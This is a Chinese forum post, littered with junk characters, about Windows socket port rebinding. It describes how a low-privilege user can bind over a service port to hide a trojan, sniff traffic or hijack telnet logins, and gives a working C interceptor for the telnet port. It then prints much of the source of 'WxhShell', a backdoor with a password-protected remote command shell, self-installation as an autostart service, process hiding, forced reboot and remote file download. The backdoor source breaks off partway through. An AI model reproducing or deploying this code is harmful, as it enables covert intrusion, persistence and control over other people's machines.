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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R)JH D7 1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^.8~}TT-U  
[?I<$f"  
  saddr.sin_family = AF_INET; "[?DS  
AJEbiP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); igA?E56?  
NT 5=%X]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I*.nwV<  
:Q("  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ue 9Y+'-x  
_-y1>{]H  
  这意味着什么?意味着可以进行如下的攻击: TYGI f4z  
56<UxIa~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tdxzs_V,-  
;hDk gp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uxD3+Q  
uPl}NEwU|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  Jk(V ]  
/Z:NoTGn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ca7Y+9< ;  
OgIRI8L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N Nk  
u:|^L]{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qH4|k 2Lm  
g&y (-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <A Hzs  
R;Dj70g  
  #include ;LP3  
  #include Wjl2S+Cc  
  #include Dch\k<Te  
  #include    tNr'@ls  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !xck ~EAS  
  int main() Xrb7.Y0d  
  { p2 1|  
  WORD wVersionRequested; k5aB|xo  
  DWORD ret; Vu.=,G  
  WSADATA wsaData; RR[zvH} E  
  BOOL val; ph5{i2U0  
  SOCKADDR_IN saddr; &^#iS<s1  
  SOCKADDR_IN scaddr; d"Zu10  
  int err; 7BU7sQjs  
  SOCKET s;  "LB MYZ  
  SOCKET sc; z7IJSj1gQI  
  int caddsize; J/e]  
  HANDLE mt; .o`Io[io  
  DWORD tid;   =AzPAN#e  
  wVersionRequested = MAKEWORD( 2, 2 ); #&kj>   
  err = WSAStartup( wVersionRequested, &wsaData ); K\9CW%W  
  if ( err != 0 ) { kqih`E9P7B  
  printf("error!WSAStartup failed!\n"); \7b, Mz!  
  return -1; 1Mp-)-e  
  } wO%lM  
  saddr.sin_family = AF_INET; +U<YM94?  
   B@M9oNWHu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g=nb-A{#  
_:Xmq&<W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Nf!N;Cy?  
  saddr.sin_port = htons(23); iS+"Jsz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .kFO@:  
  { 7s6+I_n  
  printf("error!socket failed!\n"); Ed u(dZbKg  
  return -1; { DP9^hg  
  } WlQCPC  
  val = TRUE; nC,QvV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Hj r'C?[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =QVkY7  
  { 6:|;O  
  printf("error!setsockopt failed!\n"); `$JvWN,kB  
  return -1; /5Qh*.(S  
  } Qb?a[[3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !gW`xVGv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \;N+PE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o+{,>t  
AA[1[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N8Rq7i3F?a  
  { *nU5PSs  
  ret=GetLastError(); bT 42G [x  
  printf("error!bind failed!\n"); n',X,P0  
  return -1; ! 1I# L!9  
  } )  M0(vog  
  listen(s,2); Q /?`);  
  while(1) &v .S_Ym  
  { C5ILVQ  
  caddsize = sizeof(scaddr); 1z7+:~;l  
  //接受连接请求 <}[ !k<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *:TwO=)  
  if(sc!=INVALID_SOCKET) `ZEFH7P  
  { ;]1t| td8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B,%6sa~I  
  if(mt==NULL) 2fr%_GNu  
  { h+B7BjA>G  
  printf("Thread Creat Failed!\n");  Rw0|q  
  break; ^yB]_*WJ  
  } lgiKNZgB?  
  }  CA igV$  
  CloseHandle(mt); ^/E'Rf3[A  
  } ^AU-hVj  
  closesocket(s); trrNu  
  WSACleanup(); .q MxShUU  
  return 0; &j:prc[W  
  }   :'Gn?dv|  
  DWORD WINAPI ClientThread(LPVOID lpParam) <jJ'T?,  
  { 05ClPT\BCr  
  SOCKET ss = (SOCKET)lpParam; `Z,WKus  
  SOCKET sc; ek<B=F  
  unsigned char buf[4096]; of*T,MUI  
  SOCKADDR_IN saddr; uQdH ():  
  long num; z{OL+-OY  
  DWORD val; B(Yg1jAe  
  DWORD ret; z8a{M$-Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .B~yI3D`M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h?dSn:Y\?  
  saddr.sin_family = AF_INET; xwsl$Rj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YQ:$m5ai  
  saddr.sin_port = htons(23); s:6K'*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j7&#R+f  
  { yT OZa-  
  printf("error!socket failed!\n"); _ -RqkRI  
  return -1; 5(CInl  
  } Y<W9LF  
  val = 100; YM;ro5_KF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &cyB}Gv  
  { @Un/,-ck  
  ret = GetLastError(); UeCi{ W  
  return -1; JzN "o'  
  } WDxcV%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yWZ_  
  { kXhd]7ru  
  ret = GetLastError(); `TO Xkt j  
  return -1; hb*Y-$Zp  
  } Cu%BU}(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4qDO(YWf  
  { 4 `l$0m@>  
  printf("error!socket connect failed!\n"); ~\-=q^/!  
  closesocket(sc); b~fl,(sZp  
  closesocket(ss); [F*yh9%\  
  return -1; ^n~Kr1}nj  
  } *<cRQfA1  
  while(1) BKTTta1mY  
  { 4ZUtK/i+r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (^B1Kt!<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 prS%lg>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /Hk})o_  
  num = recv(ss,buf,4096,0); Y{j~;G@Wl  
  if(num>0) `/m] K ~~  
  send(sc,buf,num,0); hb8oq3*x  
  else if(num==0) /[Fk>Vhp  
  break; ^3sv2wh^|8  
  num = recv(sc,buf,4096,0); M)K!!Jqh  
  if(num>0) D#'CRJh;7  
  send(ss,buf,num,0); $9\8?gS  
  else if(num==0) HHw&BNQG  
  break; gLt6u|0q  
  } hO> q|+mC  
  closesocket(ss); ~ a 2A"#f  
  closesocket(sc); ]v:,<=S  
  return 0 ; TVvE0y(9  
  } 'g<{l&u  
[r 7Hcb  
n,2p)#?  
========================================================== :fRta[  
kPy7e~  
下边附上一个代码,,WXhSHELL ,DHH5sDCn  
(&*Bl\YoX  
========================================================== ;FwUUKj  
pR0 !bgC  
#include "stdafx.h" _^{RtP#=  
n>JJ Xw,,  
#include <stdio.h> hH>a{7V   
#include <string.h> #QlxEs#%  
#include <windows.h> 6E_~8oEl  
#include <winsock2.h> ]+pE1-p\  
#include <winsvc.h> R7:u 8-dU1  
#include <urlmon.h> ~,s'-  
_0naqa!JyH  
#pragma comment (lib, "Ws2_32.lib") aC9iNm8w  
#pragma comment (lib, "urlmon.lib") *cFGDQ !  
P)y2'JKL  
#define MAX_USER   100 // 最大客户端连接数 ql.[Uq  
#define BUF_SOCK   200 // sock buffer arKf9`9  
#define KEY_BUFF   255 // 输入 buffer M3KK^YRN  
 -+qg  
#define REBOOT     0   // 重启 BuM #&]s  
#define SHUTDOWN   1   // 关机 0*P-/)o x  
gmTBp}3  
#define DEF_PORT   5000 // 监听端口 ]c_lNHssmq  
~,F]~|U7l  
#define REG_LEN     16   // 注册表键长度 #bGYHN  
#define SVC_LEN     80   // NT服务名长度 L6qK3xa}  
uHf1b?W  
// 从dll定义API .I{u[ "  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K ..Pn 17t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l8M}82_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dc emF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v^/<2/E"?4  
CPsl/.$tC  
// wxhshell配置信息 Vx[Q=raS  
struct WSCFG { NmpNme  
  int ws_port;         // 监听端口 l8Yr]oNkz  
  char ws_passstr[REG_LEN]; // 口令 -=:tlH n  
  int ws_autoins;       // 安装标记, 1=yes 0=no ={h^X0<s9  
  char ws_regname[REG_LEN]; // 注册表键名 9nO&d(r g  
  char ws_svcname[REG_LEN]; // 服务名 ^|U5@u_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c-7Zk!LfD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &2y9J2aA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OI/]Y7D[Oq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IO?a.L:6U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g~|x^d^;|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kzt:rhiB  
rmX5-k  
}; FbdC3G|oA  
C_[ d  
// default Wxhshell configuration ?<0'h{zNy  
struct WSCFG wscfg={DEF_PORT, 3M^`6W[;  
    "xuhuanlingzhe", ze+S_{  
    1, #\="^z6  
    "Wxhshell", lzFg(Ds!f  
    "Wxhshell", }]=A:*jD  
            "WxhShell Service", V~.SgbLc  
    "Wrsky Windows CmdShell Service", \Ym$to  
    "Please Input Your Password: ", 0^2e^qf  
  1, X2~KNw  
  "http://www.wrsky.com/wxhshell.exe", REX/:sB<  
  "Wxhshell.exe" z __#P Q,n  
    }; Uq%|v  
"$"<AKCwS  
// 消息定义模块 rTC|8e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P4MP`A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4Im}!q5;:<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T sJ71  
char *msg_ws_ext="\n\rExit."; oqK: 5|  
char *msg_ws_end="\n\rQuit."; N'5DB[:c:  
char *msg_ws_boot="\n\rReboot..."; *:l$ud  
char *msg_ws_poff="\n\rShutdown..."; )B @&q.2B=  
char *msg_ws_down="\n\rSave to "; ZkMHy1  
eEmLl(Lb  
char *msg_ws_err="\n\rErr!"; l29AC}^  
char *msg_ws_ok="\n\rOK!"; k'[\r>T  
(ke<^sv7!  
char ExeFile[MAX_PATH]; dt>!=<|k  
int nUser = 0; ybB<AkYc  
HANDLE handles[MAX_USER]; iVqF]2 >  
int OsIsNt; 127@ TN"  
QX-M'ur99  
SERVICE_STATUS       serviceStatus; ~vR<UQz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;ZrFy=Iv  
5kv]k?   
// 函数声明 q 7+|U%!9  
int Install(void); yg4ILL  
int Uninstall(void); G_5NS<JE"S  
int DownloadFile(char *sURL, SOCKET wsh); +A_jm!tJS(  
int Boot(int flag); 52 DSKL  
void HideProc(void); .9!&x0;  
int GetOsVer(void); *EtC4sP  
int Wxhshell(SOCKET wsl); Gg7ZSB 7  
void TalkWithClient(void *cs); aUBu"P$J  
int CmdShell(SOCKET sock); `\-MpNw  
int StartFromService(void); 6z67%U*8r  
int StartWxhshell(LPSTR lpCmdLine); 5_L43-  
o{ | |Ig  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MD+ eLA7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PzLV}   
-1!s8G  
// 数据结构和表定义 AWmJm)   
SERVICE_TABLE_ENTRY DispatchTable[] = qSVg.<+  
{ `,wX&@sN  
{wscfg.ws_svcname, NTServiceMain}, NQvT4.*  
{NULL, NULL} 495(V(+5  
}; h"N#/zQ  
Nk>6:Ho{G  
// 自我安装 gE!`9#..  
int Install(void) ?Vr~~v"fg8  
{ ]"1\z>Hg  
  char svExeFile[MAX_PATH]; j)O8&[y=  
  HKEY key; ;77q~_g$  
  strcpy(svExeFile,ExeFile); A'? W5~F  
D-5~CK4`  
// 如果是win9x系统,修改注册表设为自启动 ~/R}K g(  
if(!OsIsNt) { nx4E}8!Lh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /^Lo@672  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <=~'Pd-f(  
  RegCloseKey(key); &sPu 3.p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yz=6 V%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vg"Ze[dA  
  RegCloseKey(key); c6pGy%T-  
  return 0; 'P)[=+O?t  
    } d e~3:  
  } !yTjO  
} fm,:8%  
else { 3_k3U  
QmB,~x{j>  
// 如果是NT以上系统,安装为系统服务 ~f%AbDye  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %^8>=  
if (schSCManager!=0) 04<T2)QgK  
{ bk-aj'>+  
  SC_HANDLE schService = CreateService \A3yM{G~+  
  ( r;aP`MVO<  
  schSCManager, gIXc-=Ut  
  wscfg.ws_svcname, z15QFVm  
  wscfg.ws_svcdisp, Tn3f5ka'  
  SERVICE_ALL_ACCESS, /T2f~1R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5B=Wnau  
  SERVICE_AUTO_START, p}swJ;S  
  SERVICE_ERROR_NORMAL, > 'KQL?!F  
  svExeFile, 3#T_(  
  NULL, 84dej<   
  NULL, _.Bite^  
  NULL, ;R?9|:7  
  NULL, :`P;(h  
  NULL YPq`su7m9  
  ); {VE$i2nC8  
  if (schService!=0) eDSBs3k7H  
  { Uyyw'Ni  
  CloseServiceHandle(schService); !P26$US%P  
  CloseServiceHandle(schSCManager); R OQIw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9qQFIw~S  
  strcat(svExeFile,wscfg.ws_svcname); Rx=pk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 57b;{kl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jQ31u  
  RegCloseKey(key); Vkb&' rXw+  
  return 0; 7e"(]NC84  
    } Lsozl<@  
  } | Y1<P^  
  CloseServiceHandle(schSCManager); 4[&6yHJ^  
} v+=_  
} P5P<-T{-c  
t(MlZ>H  
return 1; =;$&:Zjy/%  
} QrPWS-3~!  
n{Mj<\kL  
// 自我卸载 /bylA`IMW  
int Uninstall(void) Ve8`5  
{ Yazpfw 7'd  
  HKEY key; 8`qw1dF  
Urx gKTry  
if(!OsIsNt) { I>-jKSkwc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?I 1@:?Qi  
  RegDeleteValue(key,wscfg.ws_regname); ]@ [=FK^  
  RegCloseKey(key); ]3QQ"HLcp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <ZrZSt+<  
  RegDeleteValue(key,wscfg.ws_regname); W^+b gg<.  
  RegCloseKey(key); }RUC#aW1  
  return 0; vFCp= 8h  
  } *G~c6B Z  
} c/2OR#$t  
} f3l >26  
else { I( y Wct  
6U+#ADo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z gU;=.  
if (schSCManager!=0) G:e}>'  
{ l2`8]Qr   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {2:H`|x  
  if (schService!=0) -G Kelz?h>  
  { G(0 bulq  
  if(DeleteService(schService)!=0) { KuI>:i;  
  CloseServiceHandle(schService); oG*lU h}  
  CloseServiceHandle(schSCManager); (x$k\H  
  return 0; (I~,&aBr  
  } FUcs=7c  
  CloseServiceHandle(schService); s_*eX N  
  } 1k/l7&n"  
  CloseServiceHandle(schSCManager); Y+=@5+G  
} "+ Qh,fTt  
} q3P3euK3  
yauP j&^R  
return 1; d,)F #;^5  
} X)&Z{ V>  
I] "$h]T  
// 从指定url下载文件 B6pz1P?e}  
int DownloadFile(char *sURL, SOCKET wsh) 8\V-aow  
{ Vut.oB$ ~  
  HRESULT hr; X%F9.<4  
char seps[]= "/"; q-3KF  
char *token; +|8Lt[^ux  
char *file; .BUl$RW|  
char myURL[MAX_PATH]; CM#EA"9  
char myFILE[MAX_PATH]; &4%J35~  
}-Ma ~/  
strcpy(myURL,sURL); &T|-K\*  
  token=strtok(myURL,seps); y;>I'e  
  while(token!=NULL) N*MR6~z4  
  { i|O7nB@  
    file=token; cU6#^PFu  
  token=strtok(NULL,seps); /uc/x+(_  
  } j`GbI0,bT  
*Fc&DQT(  
GetCurrentDirectory(MAX_PATH,myFILE); D7(t6C=FP  
strcat(myFILE, "\\"); H.mG0x`M"E  
strcat(myFILE, file); 2~U+PyeNz  
  send(wsh,myFILE,strlen(myFILE),0);  0EB'!  
send(wsh,"...",3,0); Iq=B]oE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ykeUS zz2  
  if(hr==S_OK) 4Qo1f5 >N  
return 0; :&-}S>pC  
else I7_D $a=  
return 1; V<pqc&f .  
c+{4C3z  
} DQICD.X6R  
zLqp@\sT  
// 系统电源模块 .%<&W1  
int Boot(int flag) oMe]dK  
{ XOwMT,=Z)  
  HANDLE hToken; -YyH"f   
  TOKEN_PRIVILEGES tkp; 8} k,!R[J  
sN}@b8o@  
  if(OsIsNt) { 9GwsQ \  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 15:@pq\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oI~Qo*4eh  
    tkp.PrivilegeCount = 1; ?KXQ)Y/su  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x=#5\t9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .8!0b iS  
if(flag==REBOOT) { xi\RUAW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }gi' %e  
  return 0; /xbZC{R  
} rM=A"  
else { g0OS<,:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P/9J!.Cm  
  return 0;  BZc-  
} <'_GQM`G  
  } Lp)8SmN  
  else { D*gV S  
if(flag==REBOOT) { jGhg~-m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z^6(&Rh  
  return 0; P$>kBW53  
} walRqlo@  
else { h}>/Z3*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =hOa 0X=  
  return 0; ZC*d^n]x.  
} I<K/d  
} ==Mi1Q#5C  
&:#8ol(n5b  
return 1; E}vO*ZZEw  
} :fVMM7  
'f7 *RSKqb  
// win9x进程隐藏模块 5a!e%jj  
void HideProc(void) PB67 ?d~  
{ pNQkKDbL+  
pQ:PwyU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,HkhKbQ  
  if ( hKernel != NULL ) z8 ;#H tr  
  { 1 " 7#|=1/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cu?(P ;mQi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]U1,NhZu  
    FreeLibrary(hKernel); 4`P2FnJ?  
  } O)JUY *&I5  
EJ ~k Z3  
return; Q9xx/tUW  
} )$h9Y   
]</4#?_  
// 获取操作系统版本 $,,>R[;w  
int GetOsVer(void) 7QiCZcb\  
{ xyjV dD\  
  OSVERSIONINFO winfo; nCMa$+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q;zf|'&*7C  
  GetVersionEx(&winfo); tq:tY}:4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %=4ak]As  
  return 1; uBq3.+,x*  
  else 8{Eo8L'V  
  return 0; n=o'ocdS)  
} tm1UH 4  
6Hbf9,vI  
// 客户端句柄模块 V<V\0n!0  
int Wxhshell(SOCKET wsl) r82o[+$u0K  
{ n`z+ w*  
  SOCKET wsh; T|s0qQi  
  struct sockaddr_in client; +aw>p_\  
  DWORD myID; U%t/wq  
m_"p$m;  
  while(nUser<MAX_USER) TBKd|D'H  
{ 'cF%4F  
  int nSize=sizeof(client); zL},`:(.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -?B9>6 h "  
  if(wsh==INVALID_SOCKET) return 1; JD{MdhhV  
?6iatI !  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n?LIphc\  
if(handles[nUser]==0) 1: xnD  
  closesocket(wsh); %FyygTb;S  
else %|(?!w7  
  nUser++; C9F+e  
  } t0J5v;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LJ(n?/z%  
6=,#9C9  
  return 0; CFJjh^ ~=  
} H[7cA9FI  
x:?a;muf  
// 关闭 socket '#N5i  
void CloseIt(SOCKET wsh) >U~|R=*  
{ Dq zA U7  
closesocket(wsh); .?0>5-SfY  
nUser--; q|u8CX  
ExitThread(0); \_*MJ)h)X  
} -[pCP_`)u  
HD:%Yv  
// 客户端请求句柄 |N$?_<H  
void TalkWithClient(void *cs) <P^hYj-swh  
{ 5M Wvu,'%8  
nSxb-Ce  
  SOCKET wsh=(SOCKET)cs; hyOm9WU  
  char pwd[SVC_LEN]; .i+* #djx  
  char cmd[KEY_BUFF]; @v ~ Pwr!  
char chr[1]; <m>l-]  
int i,j; PyMVTP4  
`B'4"=(  
  while (nUser < MAX_USER) { -H4+ur JJ  
'>e79f-O)  
if(wscfg.ws_passstr) { .IH@_iX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \+{t4Im  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lkg"'p{  
  //ZeroMemory(pwd,KEY_BUFF); ~n/Aq*  
      i=0; 3Rd`Ysp  
  while(i<SVC_LEN) { *f TG8h  
EDHg'q  
  // 设置超时 F:;!) H*  
  fd_set FdRead; #H;hRl  
  struct timeval TimeOut; W{A #]r l  
  FD_ZERO(&FdRead); w<Yv`$-`  
  FD_SET(wsh,&FdRead); CzSZ>E$%U  
  TimeOut.tv_sec=8; fK'.wX9  
  TimeOut.tv_usec=0; 7<3U?]0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z+k=|RMau  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,!I?)hwOC  
CQSpPQA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oSn! "<x  
  pwd=chr[0]; G'O/JM  
  if(chr[0]==0xd || chr[0]==0xa) { ?Q96,T-) c  
  pwd=0; PEW4J{(W  
  break; xJ~ gT  
  } Har~MO?A  
  i++; I7fb}j`/  
    } *#1y6^  
fVDDYo2\  
  // 如果是非法用户,关闭 socket %AG1oWWc>.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ym|NT0_0  
} )u8*zwq  
|DE%SVZB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !/j,hO4Z4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w; 4jx(  
iiX\it$s  
while(1) { KdT[*-  
DH:GI1Yu>I  
  ZeroMemory(cmd,KEY_BUFF); GIm " )}W  
46bl>yk9<  
      // 自动支持客户端 telnet标准   \.H9$C$  
  j=0; +Qh[sGDdY  
  while(j<KEY_BUFF) { F$Im9T6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bVoU|`c  
  cmd[j]=chr[0]; 76-jMcGi  
  if(chr[0]==0xa || chr[0]==0xd) { 0n:?sFY>  
  cmd[j]=0; .xGo\aD  
  break; NunV8atn:  
  } :n'yQ#[rn  
  j++; 0#oBXu  
    } u8YB)kG  
E6Q]A~  
  // 下载文件 A8pj~I/*-  
  if(strstr(cmd,"http://")) { T[;; 9z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1 -ZJT  
  if(DownloadFile(cmd,wsh)) %K[daXw6E8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Al7<s  
  else T><{ze  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,~4H{{<j  
  } kE/`n],1U  
  else { q!6|lZB3  
l~bKBz  
    switch(cmd[0]) { d0(Cn}m"c  
  QsiJ%O Q  
  // 帮助 Q}kfM^i  
  case '?': { ~U6" ?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VeZey)Q  
    break; OAv>g pw  
  } `SV"ElRV  
  // 安装 AL$W+')  
  case 'i': { bGv* -;*  
    if(Install()) L#D9@V'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *q0`})IQ  
    else o`bo#A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #HeM,;Xp  
    break; 25:Z;J>  
    } x# VyQ[ok  
  // 卸载 k$h [8l( <  
  case 'r': { LVnHt}  
    if(Uninstall()) H@{Objh 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4j> fI)FUW  
    else h#i\iK&A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C+w__gO&r  
    break; Z@3l%p6V  
    } '>@4(=I  
  // 显示 wxhshell 所在路径 LP:nba :  
  case 'p': { $5,~JYcb  
    char svExeFile[MAX_PATH]; JqEW= 5  
    strcpy(svExeFile,"\n\r"); u~W{RHClW  
      strcat(svExeFile,ExeFile); OifvUTl9b  
        send(wsh,svExeFile,strlen(svExeFile),0); mN;+TN'?{  
    break; ?GdsOg^  
    } _\.{6""  
  // 重启 aD9rp V  
  case 'b': { wtXY: O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [*8Y'KX <  
    if(Boot(REBOOT)) 7^$)VBQ/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '0|o`qoLzA  
    else { 7J UbVa%  
    closesocket(wsh); z}ElpT[(;  
    ExitThread(0); c<wavvfUo  
    } P;vxT}1  
    break; e+'%!w"B  
    } MIq"Wy|Zs  
  // 关机 3HZ~.  
  case 'd': { J~KX|QY.S  
